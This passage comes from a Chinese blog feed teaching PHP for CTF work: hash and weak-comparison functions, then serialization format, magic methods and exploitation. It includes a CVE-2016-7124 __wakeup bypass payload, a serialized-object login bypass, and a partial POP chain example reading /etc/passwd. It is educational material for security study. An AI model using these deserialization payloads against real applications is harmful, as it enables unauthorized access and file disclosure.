class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">hash</span>(</span><br><span class="line"> <span class="keyword">string</span> <span class="variable">$algo</span>,</span><br><span class="line"> <span class="keyword">string</span> <span class="variable">$data</span>,</span><br><span class="line"> <span class="keyword">bool</span> <span class="variable">$binary</span> = <span class="literal">false</span>,</span><br><span class="line"> <span class="keyword">array</span> <span class="variable">$options</span> = []</span><br><span class="line">): <span class="keyword">string</span></span><br></pre></td></tr></table></figure><p>其实是一个哈希函数的集中调用,具体有哪些算法可见 hash_algos() 返回的数组,而常用的 md5、sha1 等也包括在里面,只是因为更常用被单独列出来了。</p><p><strong>在 PHP8.x 之后传入不存在的哈希算法会直接抛出错误,之前则是返回一个 false,而且这个信息在官方中文文档没有提及,只有英文原版才有 Changelog</strong></p><p>一些和 md5 一样神奇的骚操作:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">hash</span>(<span class="string">"whirlpool"</span>, <span class="string">'364383'</span>, <span class="literal">true</span>);</span><br><span class="line"><span class="comment">// TNF /$=/!%.i<0'='ITQ</span></span><br><span class="line"><span class="comment">// r=%͞nNŶvL</span></span><br></pre></td></tr></table></figure><h3 id="strcmp">strcmp</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strcmp($str1, $str2); // 比较两个字符串是否相等</span><br></pre></td></tr></table></figure><p>返回值:</p><ul><li><p>如果 str1 小于 str2 返回 < 0</p></li><li><p>如果 str1 大于 str2 返回 > 0</p></li><li><p>如果两者相等,返回 0</p></li></ul><p>如果某个参数为数组将返回 NULL 并发出 Warning。</p><h2 id="存在弱类型比较的函数">存在弱类型比较的函数</h2><h3 id="in-array">in_array</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">in_array</span>(<span class="keyword">mixed</span> <span class="variable">$needle</span>, <span class="keyword">array</span> <span class="variable">$haystack</span>, <span class="keyword">bool</span> <span class="variable">$strict</span> = <span class="literal">false</span>): <span class="keyword">bool</span></span><br></pre></td></tr></table></figure><p>参数名非常的生动形象,大海捞针(●’◡’●)。</p><p>注意到第三个参数 strict,默认是 false,即采用弱类型比较(==)来查找,可以参考我的<a href="https://sxyugao.top/p/e31149de.html#%E5%BC%B1%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83%EF%BC%88-%EF%BC%89">另一篇文章</a>,里面有对 PHP 弱类型比较的详解。。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">in_array</span>(<span class="string">'1e05'</span>, [<span class="number">100000</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>])); <span class="comment">// bool(true)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">in_array</span>(<span class="string">'1e05'</span>, [<span class="number">100000</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>], <span class="literal">true</span>)); <span class="comment">// bool(false)</span></span><br></pre></td></tr></table></figure><h3 id="array-search">array_search</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">array_search</span>(<span class="keyword">mixed</span> <span class="variable">$needle</span>, <span class="keyword">array</span> <span class="variable">$haystack</span>, <span class="keyword">bool</span> <span class="variable">$strict</span> = <span class="literal">false</span>): <span class="keyword">int</span>|<span class="keyword">string</span>|<span class="literal">false</span></span><br></pre></td></tr></table></figure><p>和 in_array 类似。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">array_search</span>(<span class="string">'5e05'</span>, [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">500000</span>])); <span class="comment">// int(4)</span></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">array_search</span>(<span class="string">'5e05'</span>, [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">500000</span>], <span class="literal">true</span>)); <span class="comment">// bool(false)</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>本文列举了一些在 CTF 比赛中常用到的 PHP 函数。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="Web" scheme="https://sxyugao.top/categories/CTF/Web/"/>
<category term="PHP" scheme="https://sxyugao.top/tags/PHP/"/>
</entry>
<entry>
<title>PHP中的序列化与反序列化</title>
<link href="https://sxyugao.top/p/93447acb.html"/>
<id>https://sxyugao.top/p/93447acb.html</id>
<published>2022-02-28T02:52:41.000Z</published>
<updated>2023-04-09T09:06:13.278Z</updated>
<content type="html"><![CDATA[<p>序列化和反序列化是非常重要的概念,不仅仅存在于 CTF,也广泛的存在于平时操作中,本文就介绍一下序列化、反序列化的基础知识以及常见的可能出现的漏洞。</p><span id="more"></span><h2 id="定义">定义</h2><p>序列化:把对象转化为<strong>可传输的字节序列</strong>过程称为序列化。</p><p>反序列化:把字节序列还原为对象的过程称为反序列化。</p><p>事实上可以反序列的类型并不只有对象,但是对象是最常见的。</p><p>一般来说匿名函数是无法被序列化和反序列化的,但通过一些拓展库比如 <a href="https://github.com/opis/closure">Opis Closure</a> 也能做到这两点。</p><p>为了能够 unserialize() 一个对象,这个对象的类必须已经定义过。如果序列化类 A 的一个对象,将会返回一个跟类 A 相关,而且包含了对象所有变量值的字符串。</p><p>如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义,可以通过包含一个定义该类的文件或使用函数 spl_autoload_register() 来实现。</p><h2 id="用处">用处</h2><p>正如定义所强调的<strong>可传输</strong>,有了序列化和反序列化,对象可以跨平台存储,和进行网络传输。又或者说将运行时的数据保存到本地,下次运行再唤醒。甚至因为规定了序列化的方式,我们可以类似 JSON 一样跨语言使用对象。</p><h2 id="结构">结构</h2><p>此处参考了网上的文章,笔者根据新版本做了一些修订,写了一些例子。但初始出处已经不可考证,故不放链接。</p><p>PHP 对不同类型的数据用不同的字母进行标示:</p><table><thead><tr><th>字母标识</th><th>数据类型</th></tr></thead><tbody><tr><td>a</td><td>array</td></tr><tr><td>b</td><td>boolean</td></tr><tr><td>d</td><td>double</td></tr><tr><td>i</td><td>integer</td></tr><tr><td>o</td><td>common object</td></tr><tr><td>r</td><td>reference</td></tr><tr><td>s</td><td>string</td></tr><tr><td>S</td><td>escaped binary string</td></tr><tr><td>C</td><td>custom object</td></tr><tr><td>O</td><td>class</td></tr><tr><td>N</td><td>null</td></tr><tr><td>R</td><td>pointer reference</td></tr><tr><td>U</td><td>unicode string</td></tr></tbody></table><p>接下来介绍一些常见的类型序列化后字符串的结构:</p><h3 id="字符串">字符串</h3><p>字符串型数据(string)被序列化为:</p><p><code>s:<length>:"<value>";</code></p><p>其中 <code><length></code> 是源字符串的字节数,而非 <code><value></code> 看上去的长度。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="variable">$s</span> = <span class="string">"一个测试"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">serialize</span>(<span class="variable">$s</span>);</span><br><span class="line"><span class="comment">// s:12:"一个测试";</span></span><br></pre></td></tr></table></figure><p>输出结果为 ``。</p><h3 id="数组">数组</h3><p>数组(array)通常被序列化为:</p><p><code>a:<n>:{<key 1><value 1><key 2><value 2>...<key n><value n>}</code></p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="variable">$arr</span> = <span class="keyword">array</span>(<span class="string">'a'</span>, <span class="string">'b'</span>, <span class="string">'c'</span>, <span class="string">'d'</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">serialize</span>(<span class="variable">$arr</span>);</span><br><span class="line"><span class="comment">// a:4:{i:0;s:1:"a";i:1;s:1:"b";i:2;s:1:"c";i:3;s:1:"d";}</span></span><br></pre></td></tr></table></figure><h3 id="对象">对象</h3><p>序列化一个对象将会保存对象的所有变量,但是<strong>不会保存对象的方法</strong>。</p><p>对象类型(object)通常被序列化为:</p><p><code>O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}</code></p><p>其中 <code><length></code> 表示对象的类名的字符串长度。<code><n></code> 表示对象中的字段个数。这些字段包括在对象所在类及其祖先类中用 public、protected 和 private 声明的字段,但是不包括 static 和 const 声明的静态字段。也就是说只有实例(instance)字段。<code><filed name 1></code>、<code><filed name 2></code>……<code><filed name n></code> 表示每个字段的字段名,而 <code><filed value 1></code>、<code><filed value 2></code>……<code><filed value n></code> 则表示与字段名所对应的字段值。</p><p>字段名和字段值会被分别序列化。</p><p>字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。</p><p>字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。</p><p>但字段名的序列化与它们声明的可见性是有关的,下面重点讨论一下关于字段名的序列化。</p><p>var 和 public 声明的字段都是公共字段,甚至可以说它们等价,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号 <code>$</code>。</p><p>protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。<strong>因此保护字段的字段名在序列化时,字段名前会加上 <code>\0*\0</code>,这里的 <code>\0</code> 表示 ASCII 码为 0 的字符 NUL。</strong></p><p>private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。**因此私有字段的字段名在序列化时,字段名前会加上 <code>\0<declared class name>\0</code>。**这里 <code><declared class name></code> 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。<strong>因此声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。</strong></p><p>字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。<strong>字符串长度也包括所加前缀的长度。其中 <code>\0</code> 字符也是计算长度的。</strong></p><p>为了更好的体现字段名中包括根据其可见性所加的前缀,我使用了 urlencode,举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Flag</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$flag</span> = <span class="string">"this is a private object"</span>;</span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>{</span><br><span class="line"> <span class="keyword">const</span> <span class="variable constant_">_const</span> = <span class="string">"this is aconst"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$var</span> = <span class="string">"this is a var"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$public</span> = <span class="string">"this is a public"</span>;</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$protected</span> = <span class="string">"this is a protected"</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$private</span>;</span><br><span class="line"> <span class="built_in">static</span> <span class="variable">$static</span> = <span class="string">"this is a static"</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="keyword">private</span> = <span class="keyword">new</span> <span class="title class_">Flag</span>();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="variable">$test</span> = <span class="keyword">new</span> <span class="title class_">Test</span>();</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$test</span>));</span><br><span class="line"><span class="comment">// O%3A4%3A%22Test%22%3A4%3A%7Bs%3A3%3A%22var%22%3Bs%3A3%3A%22var%22%3Bs%3A6%3A%22public%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00protected%22%3Bs%3A9%3A%22protected%22%3Bs%3A13%3A%22%00Test%00private%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bs%3A24%3A%22this+is+a+private+object%22%3B%7D%7D</span></span><br></pre></td></tr></table></figure><p>把可见字符给 decode 一下,就变成了 <code>O:4:"Test":4:{s:3:"var";s:3:"var";s:6:"public";s:6:"public";s:12:"%00*%00protected";s:9:"protected";s:13:"%00Test%00private";O:4:"Flag":1:{s:4:"flag";s:24:"this is a private object";}}</code>,留意 protected 和 private 的字段名前缀。</p><h2 id="魔术方法">魔术方法</h2><p><s><strong>这一块其实是 PHP 类的内容。</strong></s></p><p>魔术方法是一种特殊的方法,当对象执行某些操作时会覆盖 PHP 的默认操作,下面列举一些 CTF 中常用的魔术方法,参考 PHP 官方文档。</p><h3 id="wakeup">__wakeup()</h3><p>函数原型:<code>public __wakeup(): void</code></p><p>__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。</p><h3 id="unserialize">__unserialize()</h3><p>函数原型:<code>public __unserialize(array $data): void</code></p><p>unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。</p><div class="info"><p>如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略,此特性自 PHP 7.4.0 起可用。</p></div><h3 id="toString">__toString()</h3><p>函数原型:<code>public __toString(): string</code></p><p>__toString() 方法用于一个类被当成字符串时应怎样回应。</p><p>一些常见的触发情景:</p><p>1、<code>echo($obj)</code> / <code>print(\$obj)</code> 打印时会触发。</p><p>2、反序列化对象与字符串连接时。</p><p>3、反序列化对象参与格式化字符串时。</p><p>4、反序列化对象与字符串进行 == 弱类型比较时。</p><p>5、反序列化对象参与格式化SQL语句,绑定参数时。</p><p>6、反序列化对象在作为接收字符串参数函数如 strlen()、addslashes()、class_exists() 的参数时。</p><p>7、在 in_array() 方法中,第一个参数是反序列化对象,第二个参数的数组中有 __toString 返回的字符串的时候 __toString 会被调用。</p><p>…</p><h3 id="invoke">__invoke()</h3><p>函数原型:<code>__invoke( ...$values): mixed</code></p><p>当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"><span class="variable">$x</span></span>) </span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"\$<span class="subst">{$x}</span> is called as a function"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="variable">$test</span> = <span class="keyword">new</span> <span class="title class_">Test</span>();</span><br><span class="line"><span class="variable">$test</span>(<span class="string">"test"</span>);</span><br><span class="line"><span class="comment">// $test is called as a function</span></span><br></pre></td></tr></table></figure><h3 id="destruct">__destruct()</h3><p>函数原型:<code>__destruct(): void</code></p><p>PHP 有析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。</p><h3 id="重载">重载</h3><p><s>直接照搬的 PHP 文档</s></p><h4 id="属性重载">属性重载</h4><p>函数原型:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_ invoke__">__set</span>(<span class="keyword">string</span> <span class="variable">$name</span>, <span class="keyword">mixed</span> <span class="variable">$value</span>): <span class="keyword">void</span></span><br><span class="line"><span class="keyword">public</span> <span class="title function_ invoke__">__get</span>(<span class="keyword">string</span> <span class="variable">$name</span>): <span class="keyword">mixed</span></span><br><span class="line"><span class="keyword">public</span> <span class="title function_ invoke__">__isset</span>(<span class="keyword">string</span> <span class="variable">$name</span>): <span class="keyword">bool</span></span><br><span class="line"><span class="keyword">public</span> <span class="title function_ invoke__">__unset</span>(<span class="keyword">string</span> <span class="variable">$name</span>): <span class="keyword">void</span></span><br></pre></td></tr></table></figure><p>在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。</p><p>读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。</p><p>当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时,__isset() 会被调用。</p><p>当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。</p><p>参数 $name 是指要操作的变量名称。__set() 方法的 <code>$value</code> 参数指定了 <code>$name</code> 变量的值。</p><p>属性重载只能在对象中进行。在静态方法中,这些魔术方法将不会被调用。所以这些方法都不能被声明为 static。将这些魔术方法定义为 static 会产生一个警告。</p><h4 id="方法重载">方法重载</h4><p>函数原型:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_ invoke__">__call</span>(<span class="keyword">string</span> <span class="variable">$name</span>, <span class="keyword">array</span> <span class="variable">$arguments</span>): <span class="keyword">mixed</span></span><br><span class="line"><span class="keyword">public</span> <span class="built_in">static</span> <span class="title function_ invoke__">__callStatic</span>(<span class="keyword">string</span> <span class="variable">$name</span>, <span class="keyword">array</span> <span class="variable">$arguments</span>): <span class="keyword">mixed</span></span><br></pre></td></tr></table></figure><p>在对象中调用一个不可访问方法时,__call() 会被调用。</p><p>在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。</p><p><code>$name</code> 参数是要调用的方法名称。<code>$arguments</code> 参数是一个枚举数组,包含着要传递给方法 <code>$name</code> 的参数。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$name</span>, <span class="variable">$arguments</span></span>) </span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Calling object method '<span class="subst">$name</span>' on line "</span>.<span class="title function_ invoke__">implode</span>(<span class="string">', '</span>, <span class="variable">$arguments</span>). <span class="string">"\n"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">__callStatic</span>(<span class="params"><span class="variable">$name</span>, <span class="variable">$arguments</span></span>) </span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Calling static method '<span class="subst">$name</span>' on line "</span>.<span class="title function_ invoke__">implode</span>(<span class="string">', '</span>, <span class="variable">$arguments</span>). <span class="string">"\n"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="variable">$test</span> = <span class="keyword">new</span> <span class="title class_">Test</span>();</span><br><span class="line"><span class="variable">$test</span>-><span class="title function_ invoke__">run</span>( <span class="keyword">__LINE__</span>);</span><br><span class="line"><span class="comment">// Calling object method 'run' on line 11</span></span><br><span class="line"><span class="title class_">Test</span>::<span class="title function_ invoke__">runStatic</span>(<span class="keyword">__LINE__</span>);</span><br><span class="line"><span class="comment">// Calling static method 'runStatic' on line 12</span></span><br></pre></td></tr></table></figure><h2 id="利用">利用</h2><h3 id="CVE-2016-7124-绕过-wakeup">CVE-2016-7124 绕过 __wakeup()</h3><p>在 PHP5 < 5.6.25,PHP7 < 7.0.10 的版本都存在有关 __wakeup() 的漏洞,当反序列化中对象中的字段个数和后面字段内容不匹配时,__wakeup() 就会被绕过。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'Bypass'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'Fail to '</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="variable">$payload</span> = <span class="variable">$_GET</span>[<span class="string">'payload'</span>];</span><br><span class="line"><span class="title function_ invoke__">unserialize</span>(<span class="variable">$payload</span>);</span><br></pre></td></tr></table></figure><p>对于正常的序列化字符串 <code>O:4:"Test":0:{}</code> 来说肯定输出的是 <code>Fail to Bypass</code>,但是在低版本的 PHP 中可以构造错误的序列化字符串来绕过。</p><p>payload:<code>/index.php?payload=O:4:"Test":1:{}</code></p><p>输出 <code>Bypass</code>。</p><h3 id="弱类型比较绕过">弱类型比较绕过</h3><p>本来想放到<a href="https://sxyugao.top/p/e31149de.html#%E5%BC%B1%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83%EF%BC%88-%EF%BC%89">弱类型比较</a>讲的,想想还是放到这里吧。</p><p>由于 PHP 是弱类型语言,所以类的成员可以多次赋值成不同的类型。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$val</span>;</span><br><span class="line">}</span><br><span class="line"><span class="variable">$test</span> = <span class="keyword">new</span> <span class="title class_">Test</span>;</span><br><span class="line"><span class="variable">$test</span>->val = <span class="string">"2333"</span>;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$test</span>->val); <span class="comment">// string(4) "2333"</span></span><br><span class="line"><span class="variable">$test</span>->val = <span class="number">666</span>;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$test</span>->val); <span class="comment">// int(666)</span></span><br></pre></td></tr></table></figure><p>考虑有以下代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$name</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$password</span>;</span><br><span class="line">}</span><br><span class="line"><span class="variable">$data</span> = <span class="title function_ invoke__">unserialize</span>(<span class="variable">$_POST</span>[<span class="string">'data'</span>]);</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$data</span>->user == <span class="string">'admin'</span> && <span class="variable">$data</span>->password == <span class="string">'secret'</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'login success!'</span>.PHP_EOL;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>构造 payload:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$name</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$password</span>;</span><br><span class="line">}</span><br><span class="line"><span class="variable">$user</span> = <span class="keyword">new</span> <span class="title class_">User</span>;</span><br><span class="line"><span class="variable">$user</span>->name = <span class="literal">true</span>;</span><br><span class="line"><span class="variable">$user</span>->password = <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">serialize</span>(<span class="variable">$user</span>);</span><br><span class="line"><span class="comment">// O:4:"User":2:{s:4:"name";b:1;s:8:"password";b:1;}</span></span><br></pre></td></tr></table></figure><p>发现我们成功登录了!</p><h3 id="POP链构造">POP链构造</h3><p>POP 是指面向属性编程(Property-Oriented Programing), 用于上层语言构造特定调用链的方法。</p><p>我们去寻找会被自动调用的方法,比如 <code>__destruct()</code>、<code>__toString()</code> 等,然后找到里面可能可以利用的函数或者语法结构,再找到和这些函数相关的成员,只要这些成员可控,就能执行恶意代码或者拿到想要的文件了。</p><p>注意 PHP 是弱类型语言,所以类的成员可以多次赋值成不同的类型,因而不必拘泥于原来 <code>__construct()</code> 中给变量赋值的类型,可以去找可利用的恶意类。</p><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyFile</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$name</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$user</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$name</span>, <span class="variable">$user</span></span>) </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->name = (<span class="keyword">string</span>)<span class="variable">$name</span>;</span><br><span class="line"> <span class="variable language_">$this</span>->user = (<span class="keyword">string</span>)<span class="variable">$user</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$this</span>->name);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">stristr</span>(<span class="variable">$this</span>->name, <span class="string">"flag"</span>) !== <span class="literal">false</span>) {</span><br><span class="line"> <span class="variable language_">$this</span>->name = <span class="string">"/etc/hostname"</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable language_">$this</span>->name = <span class="string">"/etc/passwd"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'user'</span>])) {</span><br><span class="line"> <span 